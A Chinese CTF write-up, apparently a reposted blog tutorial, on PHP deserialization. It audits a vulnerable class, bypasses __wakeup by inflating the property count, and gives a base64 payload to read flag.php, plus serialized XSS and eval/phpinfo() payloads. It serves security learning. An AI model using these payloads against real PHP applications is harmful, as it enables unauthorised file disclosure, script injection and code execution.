PHP反序列化CTF例题
滲透學習
不安全的反序列化之PHP反序列化
文章目錄
- 滲透學習
- 前言
- *本文只做學習用途,嚴禁利用本文提到的技術進行非法攻擊,否則后果自負,本人不承擔任何責任。*
- 一、CTF例題
- 二、PHP反序列化漏洞和XSS跨站腳本
- 總結
前言
本系列用于記錄本人滲透學習的過程,主要內容圍繞Owasp TOP 10展開。
接上篇不安全的反序列化之反序列化基礎用簡單案例接觸了PHP反序列化,但對該漏洞的利用和實際場景淺嘗輒止 。這篇將會用代碼審計的方式分析一道典型的存在PHP反序列化漏洞的案例,加深對魔術方法等相關知識的理解。另外,還會和xss跨站腳本的知識進行融合。
本文只做學習用途,嚴禁利用本文提到的技術進行非法攻擊,否則后果自負,本人不承擔任何責任。
一、CTF例題
學習案例
class SoFun{ protected $file='index.php';function __destruct(){ if(!empty($this->file)) {if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)show_source(dirname (__FILE__).'/'.$this ->file);else die('Wrong filename.');}} function __wakeup(){ $this-> file='index.php'; } public function __toString(){return '' ;}} if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode( $_GET['file']); echo unserialize($file ); } ?> #<!--key in flag.php-->代碼審計:
根據提示,key在flag.php中,而想要獲得文件中內容,只能靠語句show_source(dirname (__FILE__).'/'.$this ->file);。
發現該題用到了__destruct等魔術方法,可以根據其性質進行漏洞利用(詳見上一篇文章)
常規思路是利用反序列化的方式POST"file"參數將讀取的文件從index.php替換成flag.php,然后利用__destruct的自動執行讀取flag.php中的內容。
但是在反序列化執行時會自動執行__wakeup,其作用是將文件再設為index.php
解決方案:
顯然我們需要利用一種方法繞過__wakeup方法,而當序列化字符串中,表示對象屬性個數的值大于實際屬性個數時,那么就會跳過wakeup方法的執行。比如:
實際情況:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload對象屬性個數為2,而實際屬性個數為1,那么就會掉入漏洞,從而跳過wakeup()方法。
Payload
根據上篇文章所學,易得反序列化語句為O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
值得注意的是,file是protected屬性,因此需要用\00*\00來表示,\00代表ascii為0的值。
此題還需要一次Base64編碼,結果為:
Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
該PHP反序列化漏洞的案例其實來源于16年SugarCRM v6.5.23中
SugarCRM(http://www.sugarcrm.com/ )是一套開源的客戶關系管理系統。研究者發現在其<=6.5.23的版本中存在反序列化漏洞,程序對攻擊者惡意構造的序列化數據進行了反序列化的處理,從而使攻擊者可以在未授權狀態下執行任意代碼。
有興趣的可以點擊了解
二、PHP反序列化漏洞和XSS跨站腳本
當嘗試序列化一段xss代碼的時候,當它進行反序列化的時候會自動執行xss
<?php$a="test"; //字符串$arr = array('j' => 'jack' ,'r' => 'rose'); //數組class A{public $test="<img src=1 οnerrοr=alert(1)>";}echo "序列化:";echo "</br>";$aa=serialize($a);print_r($aa);echo "</br>";$arr_a=serialize($arr);print_r($arr_a);echo "</br>";$class1 = new A(); //對象$class_a=serialize($class1);print_r($class_a);echo "<br/>";echo "反序列化:";echo "<br/>";print_r(unserialize($aa));echo "</br>";print_r(unserialize($arr_a));echo "</br>";print_r(unserialize($class_a)); ?>執行結果:
在__wakeup中一樣存在類似的漏洞:
使用payload:O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}一樣會造成XSS攻擊
而如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代碼執行則會造成更嚴重的后果。
比如:
構造payload:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}即可獲得php內置信息
總結
以上介紹了一道比較綜合的CTF題目對PHP反序列化漏洞有一個更清晰化的認識,這道題難度不算高,但對代碼審計能力有著一定的要求。
總結
以上是生活随笔為你收集整理的PHP反序列化CTF例题的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 计算机组装与维护实训指导书,《计算机组装
- 下一篇: 试用版升级到许可版本的 Tableau